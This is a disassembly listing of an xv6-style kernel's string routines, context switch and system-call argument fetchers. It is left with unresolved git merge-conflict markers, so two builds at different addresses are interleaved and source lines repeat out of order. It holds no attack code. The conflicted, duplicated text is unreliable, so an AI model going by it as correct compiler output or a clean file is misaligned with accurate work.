8010484c: 75 f2 jne 80104840 <memmove+0x50>
=======
801045fa: 39 da cmp %ebx,%edx
801045fc: 75 f2 jne 801045f0 <memmove+0x50>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
*d++ = *s++;
return dst;
}
<<<<<<< HEAD
8010484e: 5b pop %ebx
8010484f: 5e pop %esi
80104850: 5d pop %ebp
80104851: c3 ret
80104852: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104859: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104860 <memcpy>:
=======
801045fe: 5b pop %ebx
801045ff: 5e pop %esi
80104600: 5f pop %edi
80104601: 5d pop %ebp
80104602: c3 ret
80104603: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104609: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104610 <memcpy>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
<<<<<<< HEAD
80104860: 55 push %ebp
80104861: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
}
80104863: 5d pop %ebp
=======
80104610: 55 push %ebp
80104611: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
}
80104613: 5d pop %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
return memmove(dst, src, n);
<<<<<<< HEAD
80104864: eb 8a jmp 801047f0 <memmove>
80104866: 8d 76 00 lea 0x0(%esi),%esi
80104869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104870 <strncmp>:
=======
80104614: e9 87 ff ff ff jmp 801045a0 <memmove>
80104619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104620 <strncmp>:
}
int
strncmp(const char *p, const char *q, uint n)
{
80104620: 55 push %ebp
80104621: 89 e5 mov %esp,%ebp
80104623: 56 push %esi
80104624: 8b 75 10 mov 0x10(%ebp),%esi
80104627: 53 push %ebx
80104628: 8b 4d 08 mov 0x8(%ebp),%ecx
8010462b: 8b 5d 0c mov 0xc(%ebp),%ebx
while(n > 0 && *p && *p == *q)
8010462e: 85 f6 test %esi,%esi
80104630: 74 30 je 80104662 <strncmp+0x42>
80104632: 0f b6 01 movzbl (%ecx),%eax
80104635: 84 c0 test %al,%al
80104637: 74 2f je 80104668 <strncmp+0x48>
80104639: 0f b6 13 movzbl (%ebx),%edx
8010463c: 38 d0 cmp %dl,%al
8010463e: 75 46 jne 80104686 <strncmp+0x66>
80104640: 8d 51 01 lea 0x1(%ecx),%edx
80104643: 01 ce add %ecx,%esi
80104645: eb 14 jmp 8010465b <strncmp+0x3b>
80104647: 90 nop
80104648: 0f b6 02 movzbl (%edx),%eax
8010464b: 84 c0 test %al,%al
8010464d: 74 31 je 80104680 <strncmp+0x60>
8010464f: 0f b6 19 movzbl (%ecx),%ebx
80104652: 83 c2 01 add $0x1,%edx
80104655: 38 d8 cmp %bl,%al
80104657: 75 17 jne 80104670 <strncmp+0x50>
n--, p++, q++;
80104659: 89 cb mov %ecx,%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
int
strncmp(const char *p, const char *q, uint n)
{
<<<<<<< HEAD
80104870: 55 push %ebp
80104871: 89 e5 mov %esp,%ebp
80104873: 57 push %edi
80104874: 56 push %esi
80104875: 8b 4d 10 mov 0x10(%ebp),%ecx
80104878: 53 push %ebx
80104879: 8b 7d 08 mov 0x8(%ebp),%edi
8010487c: 8b 75 0c mov 0xc(%ebp),%esi
while(n > 0 && *p && *p == *q)
8010487f: 85 c9 test %ecx,%ecx
80104881: 74 37 je 801048ba <strncmp+0x4a>
80104883: 0f b6 17 movzbl (%edi),%edx
80104886: 0f b6 1e movzbl (%esi),%ebx
80104889: 84 d2 test %dl,%dl
8010488b: 74 3f je 801048cc <strncmp+0x5c>
8010488d: 38 d3 cmp %dl,%bl
8010488f: 75 3b jne 801048cc <strncmp+0x5c>
80104891: 8d 47 01 lea 0x1(%edi),%eax
80104894: 01 cf add %ecx,%edi
80104896: eb 1b jmp 801048b3 <strncmp+0x43>
80104898: 90 nop
80104899: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801048a0: 0f b6 10 movzbl (%eax),%edx
801048a3: 84 d2 test %dl,%dl
801048a5: 74 21 je 801048c8 <strncmp+0x58>
801048a7: 0f b6 19 movzbl (%ecx),%ebx
801048aa: 83 c0 01 add $0x1,%eax
801048ad: 89 ce mov %ecx,%esi
801048af: 38 da cmp %bl,%dl
801048b1: 75 19 jne 801048cc <strncmp+0x5c>
801048b3: 39 c7 cmp %eax,%edi
n--, p++, q++;
801048b5: 8d 4e 01 lea 0x1(%esi),%ecx
=======
while(n > 0 && *p && *p == *q)
8010465b: 39 f2 cmp %esi,%edx
n--, p++, q++;
8010465d: 8d 4b 01 lea 0x1(%ebx),%ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
<<<<<<< HEAD
801048b8: 75 e6 jne 801048a0 <strncmp+0x30>
=======
80104660: 75 e6 jne 80104648 <strncmp+0x28>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
n--, p++, q++;
if(n == 0)
return 0;
return (uchar)*p - (uchar)*q;
}
<<<<<<< HEAD
801048ba: 5b pop %ebx
=======
80104662: 5b pop %ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
n--, p++, q++;
if(n == 0)
return 0;
<<<<<<< HEAD
801048bb: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
}
801048bd: 5e pop %esi
801048be: 5f pop %edi
801048bf: 5d pop %ebp
801048c0: c3 ret
801048c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801048c8: 0f b6 5e 01 movzbl 0x1(%esi),%ebx
=======
80104663: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
}
80104665: 5e pop %esi
80104666: 5d pop %ebp
80104667: c3 ret
80104668: 0f b6 1b movzbl (%ebx),%ebx
}
int
strncmp(const char *p, const char *q, uint n)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
while(n > 0 && *p && *p == *q)
8010466b: 31 c0 xor %eax,%eax
8010466d: 8d 76 00 lea 0x0(%esi),%esi
n--, p++, q++;
if(n == 0)
return 0;
return (uchar)*p - (uchar)*q;
<<<<<<< HEAD
801048cc: 0f b6 c2 movzbl %dl,%eax
801048cf: 29 d8 sub %ebx,%eax
}
801048d1: 5b pop %ebx
801048d2: 5e pop %esi
801048d3: 5f pop %edi
801048d4: 5d pop %ebp
801048d5: c3 ret
801048d6: 8d 76 00 lea 0x0(%esi),%esi
801048d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801048e0 <strncpy>:
=======
80104670: 0f b6 d3 movzbl %bl,%edx
80104673: 29 d0 sub %edx,%eax
}
80104675: 5b pop %ebx
80104676: 5e pop %esi
80104677: 5d pop %ebp
80104678: c3 ret
80104679: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104680: 0f b6 5b 01 movzbl 0x1(%ebx),%ebx
80104684: eb ea jmp 80104670 <strncmp+0x50>
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
80104686: 89 d3 mov %edx,%ebx
80104688: eb e6 jmp 80104670 <strncmp+0x50>
8010468a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104690 <strncpy>:
return (uchar)*p - (uchar)*q;
}
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
char*
strncpy(char *s, const char *t, int n)
{
<<<<<<< HEAD
801048e0: 55 push %ebp
801048e1: 89 e5 mov %esp,%ebp
801048e3: 56 push %esi
801048e4: 53 push %ebx
801048e5: 8b 45 08 mov 0x8(%ebp),%eax
801048e8: 8b 5d 0c mov 0xc(%ebp),%ebx
801048eb: 8b 4d 10 mov 0x10(%ebp),%ecx
=======
80104690: 55 push %ebp
80104691: 89 e5 mov %esp,%ebp
80104693: 8b 45 08 mov 0x8(%ebp),%eax
80104696: 56 push %esi
80104697: 8b 4d 10 mov 0x10(%ebp),%ecx
8010469a: 53 push %ebx
8010469b: 8b 5d 0c mov 0xc(%ebp),%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
<<<<<<< HEAD
801048ee: 89 c2 mov %eax,%edx
801048f0: eb 19 jmp 8010490b <strncpy+0x2b>
801048f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801048f8: 83 c3 01 add $0x1,%ebx
801048fb: 0f b6 4b ff movzbl -0x1(%ebx),%ecx
801048ff: 83 c2 01 add $0x1,%edx
80104902: 84 c9 test %cl,%cl
80104904: 88 4a ff mov %cl,-0x1(%edx)
80104907: 74 09 je 80104912 <strncpy+0x32>
80104909: 89 f1 mov %esi,%ecx
8010490b: 85 c9 test %ecx,%ecx
8010490d: 8d 71 ff lea -0x1(%ecx),%esi
80104910: 7f e6 jg 801048f8 <strncpy+0x18>
;
while(n-- > 0)
80104912: 31 c9 xor %ecx,%ecx
80104914: 85 f6 test %esi,%esi
80104916: 7e 17 jle 8010492f <strncpy+0x4f>
80104918: 90 nop
80104919: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
*s++ = 0;
80104920: c6 04 0a 00 movb $0x0,(%edx,%ecx,1)
80104924: 89 f3 mov %esi,%ebx
80104926: 83 c1 01 add $0x1,%ecx
80104929: 29 cb sub %ecx,%ebx
=======
8010469e: 89 c2 mov %eax,%edx
801046a0: eb 19 jmp 801046bb <strncpy+0x2b>
801046a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801046a8: 83 c3 01 add $0x1,%ebx
801046ab: 0f b6 4b ff movzbl -0x1(%ebx),%ecx
801046af: 83 c2 01 add $0x1,%edx
801046b2: 84 c9 test %cl,%cl
801046b4: 88 4a ff mov %cl,-0x1(%edx)
801046b7: 74 09 je 801046c2 <strncpy+0x32>
801046b9: 89 f1 mov %esi,%ecx
801046bb: 85 c9 test %ecx,%ecx
801046bd: 8d 71 ff lea -0x1(%ecx),%esi
801046c0: 7f e6 jg 801046a8 <strncpy+0x18>
;
while(n-- > 0)
801046c2: 31 c9 xor %ecx,%ecx
801046c4: 85 f6 test %esi,%esi
801046c6: 7e 0f jle 801046d7 <strncpy+0x47>
*s++ = 0;
801046c8: c6 04 0a 00 movb $0x0,(%edx,%ecx,1)
801046cc: 89 f3 mov %esi,%ebx
801046ce: 83 c1 01 add $0x1,%ecx
801046d1: 29 cb sub %ecx,%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
;
while(n-- > 0)
<<<<<<< HEAD
8010492b: 85 db test %ebx,%ebx
8010492d: 7f f1 jg 80104920 <strncpy+0x40>
*s++ = 0;
return os;
}
8010492f: 5b pop %ebx
80104930: 5e pop %esi
80104931: 5d pop %ebp
80104932: c3 ret
80104933: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104939: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104940 <safestrcpy>:
=======
801046d3: 85 db test %ebx,%ebx
801046d5: 7f f1 jg 801046c8 <strncpy+0x38>
*s++ = 0;
return os;
}
801046d7: 5b pop %ebx
801046d8: 5e pop %esi
801046d9: 5d pop %ebp
801046da: c3 ret
801046db: 90 nop
801046dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801046e0 <safestrcpy>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
<<<<<<< HEAD
80104940: 55 push %ebp
80104941: 89 e5 mov %esp,%ebp
80104943: 56 push %esi
80104944: 53 push %ebx
80104945: 8b 4d 10 mov 0x10(%ebp),%ecx
80104948: 8b 45 08 mov 0x8(%ebp),%eax
8010494b: 8b 55 0c mov 0xc(%ebp),%edx
=======
801046e0: 55 push %ebp
801046e1: 89 e5 mov %esp,%ebp
801046e3: 8b 4d 10 mov 0x10(%ebp),%ecx
801046e6: 56 push %esi
801046e7: 8b 45 08 mov 0x8(%ebp),%eax
801046ea: 53 push %ebx
801046eb: 8b 55 0c mov 0xc(%ebp),%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
char *os;
os = s;
if(n <= 0)
<<<<<<< HEAD
8010494e: 85 c9 test %ecx,%ecx
80104950: 7e 26 jle 80104978 <safestrcpy+0x38>
80104952: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi
80104956: 89 c1 mov %eax,%ecx
80104958: eb 17 jmp 80104971 <safestrcpy+0x31>
8010495a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return os;
while(--n > 0 && (*s++ = *t++) != 0)
80104960: 83 c2 01 add $0x1,%edx
80104963: 0f b6 5a ff movzbl -0x1(%edx),%ebx
80104967: 83 c1 01 add $0x1,%ecx
8010496a: 84 db test %bl,%bl
8010496c: 88 59 ff mov %bl,-0x1(%ecx)
8010496f: 74 04 je 80104975 <safestrcpy+0x35>
80104971: 39 f2 cmp %esi,%edx
80104973: 75 eb jne 80104960 <safestrcpy+0x20>
;
*s = 0;
80104975: c6 01 00 movb $0x0,(%ecx)
return os;
}
80104978: 5b pop %ebx
80104979: 5e pop %esi
8010497a: 5d pop %ebp
8010497b: c3 ret
8010497c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104980 <strlen>:
=======
801046ee: 85 c9 test %ecx,%ecx
801046f0: 7e 26 jle 80104718 <safestrcpy+0x38>
801046f2: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi
801046f6: 89 c1 mov %eax,%ecx
801046f8: eb 17 jmp 80104711 <safestrcpy+0x31>
801046fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return os;
while(--n > 0 && (*s++ = *t++) != 0)
80104700: 83 c2 01 add $0x1,%edx
80104703: 0f b6 5a ff movzbl -0x1(%edx),%ebx
80104707: 83 c1 01 add $0x1,%ecx
8010470a: 84 db test %bl,%bl
8010470c: 88 59 ff mov %bl,-0x1(%ecx)
8010470f: 74 04 je 80104715 <safestrcpy+0x35>
80104711: 39 f2 cmp %esi,%edx
80104713: 75 eb jne 80104700 <safestrcpy+0x20>
;
*s = 0;
80104715: c6 01 00 movb $0x0,(%ecx)
return os;
}
80104718: 5b pop %ebx
80104719: 5e pop %esi
8010471a: 5d pop %ebp
8010471b: c3 ret
8010471c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104720 <strlen>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
strlen(const char *s)
{
<<<<<<< HEAD
80104980: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
80104981: 31 c0 xor %eax,%eax
=======
80104720: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
80104721: 31 c0 xor %eax,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return os;
}
int
strlen(const char *s)
{
<<<<<<< HEAD
80104983: 89 e5 mov %esp,%ebp
80104985: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
80104988: 80 3a 00 cmpb $0x0,(%edx)
8010498b: 74 0c je 80104999 <strlen+0x19>
8010498d: 8d 76 00 lea 0x0(%esi),%esi
80104990: 83 c0 01 add $0x1,%eax
80104993: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
80104997: 75 f7 jne 80104990 <strlen+0x10>
;
return n;
}
80104999: 5d pop %ebp
8010499a: c3 ret
8010499b <swtch>:
# Save current register context in old
# and then load register context from new.
.globl swtch
swtch:
movl 4(%esp), %eax
8010499b: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
8010499f: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-save registers
pushl %ebp
801049a3: 55 push %ebp
pushl %ebx
801049a4: 53 push %ebx
pushl %esi
801049a5: 56 push %esi
pushl %edi
801049a6: 57 push %edi
# Switch stacks
movl %esp, (%eax)
801049a7: 89 20 mov %esp,(%eax)
movl %edx, %esp
801049a9: 89 d4 mov %edx,%esp
# Load new callee-save registers
popl %edi
801049ab: 5f pop %edi
popl %esi
801049ac: 5e pop %esi
popl %ebx
801049ad: 5b pop %ebx
popl %ebp
801049ae: 5d pop %ebp
ret
801049af: c3 ret
801049b0 <fetchint>:
// to a saved program counter, and then the first argument.
=======
80104723: 89 e5 mov %esp,%ebp
80104725: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
80104728: 80 3a 00 cmpb $0x0,(%edx)
8010472b: 74 0c je 80104739 <strlen+0x19>
8010472d: 8d 76 00 lea 0x0(%esi),%esi
80104730: 83 c0 01 add $0x1,%eax
80104733: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
80104737: 75 f7 jne 80104730 <strlen+0x10>
;
return n;
}
80104739: 5d pop %ebp
8010473a: c3 ret
8010473b <swtch>:
8010473b: 8b 44 24 04 mov 0x4(%esp),%eax
8010473f: 8b 54 24 08 mov 0x8(%esp),%edx
80104743: 55 push %ebp
80104744: 53 push %ebx
80104745: 56 push %esi
80104746: 57 push %edi
80104747: 89 20 mov %esp,(%eax)
80104749: 89 d4 mov %edx,%esp
8010474b: 5f pop %edi
8010474c: 5e pop %esi
8010474d: 5b pop %ebx
8010474e: 5d pop %ebp
8010474f: c3 ret
80104750 <fetchint>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
<<<<<<< HEAD
801049b0: 55 push %ebp
if(addr >= proc->sz || addr+4 > proc->sz)
801049b1: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
=======
if(addr >= proc->sz || addr+4 > proc->sz)
80104750: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
<<<<<<< HEAD
801049b8: 89 e5 mov %esp,%ebp
801049ba: 8b 45 08 mov 0x8(%ebp),%eax
if(addr >= proc->sz || addr+4 > proc->sz)
801049bd: 8b 12 mov (%edx),%edx
801049bf: 39 c2 cmp %eax,%edx
801049c1: 76 15 jbe 801049d8 <fetchint+0x28>
801049c3: 8d 48 04 lea 0x4(%eax),%ecx
801049c6: 39 ca cmp %ecx,%edx
801049c8: 72 0e jb 801049d8 <fetchint+0x28>
return -1;
*ip = *(int*)(addr);
801049ca: 8b 10 mov (%eax),%edx
801049cc: 8b 45 0c mov 0xc(%ebp),%eax
801049cf: 89 10 mov %edx,(%eax)
return 0;
801049d1: 31 c0 xor %eax,%eax
}
801049d3: 5d pop %ebp
801049d4: c3 ret
801049d5: 8d 76 00 lea 0x0(%esi),%esi
=======
80104757: 55 push %ebp
80104758: 89 e5 mov %esp,%ebp
8010475a: 8b 45 08 mov 0x8(%ebp),%eax
if(addr >= proc->sz || addr+4 > proc->sz)
8010475d: 8b 12 mov (%edx),%edx
8010475f: 39 c2 cmp %eax,%edx
80104761: 76 15 jbe 80104778 <fetchint+0x28>
80104763: 8d 48 04 lea 0x4(%eax),%ecx
80104766: 39 ca cmp %ecx,%edx
80104768: 72 0e jb 80104778 <fetchint+0x28>
return -1;
*ip = *(int*)(addr);
8010476a: 8b 10 mov (%eax),%edx
8010476c: 8b 45 0c mov 0xc(%ebp),%eax
8010476f: 89 10 mov %edx,(%eax)
return 0;
80104771: 31 c0 xor %eax,%eax
}
80104773: 5d pop %ebp
80104774: c3 ret
80104775: 8d 76 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
return -1;
<<<<<<< HEAD
801049d8: b8 ff ff ff ff mov $0xffffffff,%eax
*ip = *(int*)(addr);
return 0;
}
801049dd: 5d pop %ebp
801049de: c3 ret
801049df: 90 nop
801049e0 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
801049e0: 55 push %ebp
char *s, *ep;
if(addr >= proc->sz)
801049e1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
=======
80104778: b8 ff ff ff ff mov $0xffffffff,%eax
*ip = *(int*)(addr);
return 0;
}
8010477d: 5d pop %ebp
8010477e: c3 ret
8010477f: 90 nop
80104780 <fetchstr>:
int
fetchstr(uint addr, char **pp)
{
char *s, *ep;
if(addr >= proc->sz)
80104780: 65 a1 04 00 00 00 mov %gs:0x4,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
<<<<<<< HEAD
801049e7: 89 e5 mov %esp,%ebp
801049e9: 8b 4d 08 mov 0x8(%ebp),%ecx
char *s, *ep;
if(addr >= proc->sz)
801049ec: 39 08 cmp %ecx,(%eax)
801049ee: 76 2c jbe 80104a1c <fetchstr+0x3c>
return -1;
*pp = (char*)addr;
801049f0: 8b 55 0c mov 0xc(%ebp),%edx
801049f3: 89 c8 mov %ecx,%eax
801049f5: 89 0a mov %ecx,(%edx)
ep = (char*)proc->sz;
801049f7: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801049fe: 8b 12 mov (%edx),%edx
for(s = *pp; s < ep; s++)
80104a00: 39 d1 cmp %edx,%ecx
80104a02: 73 18 jae 80104a1c <fetchstr+0x3c>
if(*s == 0)
80104a04: 80 39 00 cmpb $0x0,(%ecx)
80104a07: 75 0c jne 80104a15 <fetchstr+0x35>
80104a09: eb 1d jmp 80104a28 <fetchstr+0x48>
80104a0b: 90 nop
80104a0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104a10: 80 38 00 cmpb $0x0,(%eax)
80104a13: 74 13 je 80104a28 <fetchstr+0x48>
=======
80104786: 55 push %ebp
80104787: 89 e5 mov %esp,%ebp
80104789: 8b 4d 08 mov 0x8(%ebp),%ecx
char *s, *ep;
if(addr >= proc->sz)
8010478c: 39 08 cmp %ecx,(%eax)
8010478e: 76 2c jbe 801047bc <fetchstr+0x3c>
return -1;
*pp = (char*)addr;
80104790: 8b 55 0c mov 0xc(%ebp),%edx
80104793: 89 c8 mov %ecx,%eax
80104795: 89 0a mov %ecx,(%edx)
ep = (char*)proc->sz;
80104797: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
8010479e: 8b 12 mov (%edx),%edx
for(s = *pp; s < ep; s++)
801047a0: 39 d1 cmp %edx,%ecx
801047a2: 73 18 jae 801047bc <fetchstr+0x3c>
if(*s == 0)
801047a4: 80 39 00 cmpb $0x0,(%ecx)
801047a7: 75 0c jne 801047b5 <fetchstr+0x35>
801047a9: eb 1d jmp 801047c8 <fetchstr+0x48>
801047ab: 90 nop
801047ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801047b0: 80 38 00 cmpb $0x0,(%eax)
801047b3: 74 13 je 801047c8 <fetchstr+0x48>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(addr >= proc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
<<<<<<< HEAD
80104a15: 83 c0 01 add $0x1,%eax
80104a18: 39 c2 cmp %eax,%edx
80104a1a: 77 f4 ja 80104a10 <fetchstr+0x30>
=======
801047b5: 83 c0 01 add $0x1,%eax
801047b8: 39 c2 cmp %eax,%edx
801047ba: 77 f4 ja 801047b0 <fetchstr+0x30>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
fetchstr(uint addr, char **pp)
{
char *s, *ep;
if(addr >= proc->sz)
return -1;
<<<<<<< HEAD
80104a1c: b8 ff ff ff ff mov $0xffffffff,%eax
=======
801047bc: b8 ff ff ff ff mov $0xffffffff,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
if(*s == 0)
return s - *pp;
return -1;
}
<<<<<<< HEAD
80104a21: 5d pop %ebp
80104a22: c3 ret
80104a23: 90 nop
80104a24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
801047c1: 5d pop %ebp
801047c2: c3 ret
801047c3: 90 nop
801047c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
if(*s == 0)
return s - *pp;
<<<<<<< HEAD
80104a28: 29 c8 sub %ecx,%eax
return -1;
}
80104a2a: 5d pop %ebp
80104a2b: c3 ret
80104a2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104a30 <argint>:
=======
801047c8: 29 c8 sub %ecx,%eax
return -1;
}
801047ca: 5d pop %ebp
801047cb: c3 ret
801047cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801047d0 <argint>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
<<<<<<< HEAD
80104a30: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
=======
801047d0: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
<<<<<<< HEAD
80104a37: 55 push %ebp
80104a38: 89 e5 mov %esp,%ebp
return fetchint(proc->tf->esp + 4 + 4*n, ip);
80104a3a: 8b 42 18 mov 0x18(%edx),%eax
80104a3d: 8b 4d 08 mov 0x8(%ebp),%ecx
=======
801047d7: 55 push %ebp
801047d8: 89 e5 mov %esp,%ebp
return fetchint(proc->tf->esp + 4 + 4*n, ip);
801047da: 8b 4d 08 mov 0x8(%ebp),%ecx
801047dd: 8b 42 18 mov 0x18(%edx),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
<<<<<<< HEAD
80104a40: 8b 12 mov (%edx),%edx
=======
801047e0: 8b 12 mov (%edx),%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
<<<<<<< HEAD
80104a42: 8b 40 44 mov 0x44(%eax),%eax
80104a45: 8d 04 88 lea (%eax,%ecx,4),%eax
80104a48: 8d 48 04 lea 0x4(%eax),%ecx
=======
801047e2: 8b 40 44 mov 0x44(%eax),%eax
801047e5: 8d 04 88 lea (%eax,%ecx,4),%eax
801047e8: 8d 48 04 lea 0x4(%eax),%ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
<<<<<<< HEAD
80104a4b: 39 d1 cmp %edx,%ecx
80104a4d: 73 19 jae 80104a68 <argint+0x38>
80104a4f: 8d 48 08 lea 0x8(%eax),%ecx
80104a52: 39 ca cmp %ecx,%edx
80104a54: 72 12 jb 80104a68 <argint+0x38>
return -1;
*ip = *(int*)(addr);
80104a56: 8b 50 04 mov 0x4(%eax),%edx
80104a59: 8b 45 0c mov 0xc(%ebp),%eax
80104a5c: 89 10 mov %edx,(%eax)
return 0;
80104a5e: 31 c0 xor %eax,%eax
=======
801047eb: 39 d1 cmp %edx,%ecx
801047ed: 73 19 jae 80104808 <argint+0x38>
801047ef: 8d 48 08 lea 0x8(%eax),%ecx
801047f2: 39 ca cmp %ecx,%edx
801047f4: 72 12 jb 80104808 <argint+0x38>
return -1;
*ip = *(int*)(addr);
801047f6: 8b 50 04 mov 0x4(%eax),%edx
801047f9: 8b 45 0c mov 0xc(%ebp),%eax
801047fc: 89 10 mov %edx,(%eax)
return 0;
801047fe: 31 c0 xor %eax,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
}
<<<<<<< HEAD
80104a60: 5d pop %ebp
80104a61: c3 ret
80104a62: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
=======
80104800: 5d pop %ebp
80104801: c3 ret
80104802: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
return -1;
<<<<<<< HEAD
80104a68: b8 ff ff ff ff mov $0xffffffff,%eax
=======
80104808: b8 ff ff ff ff mov $0xffffffff,%eax
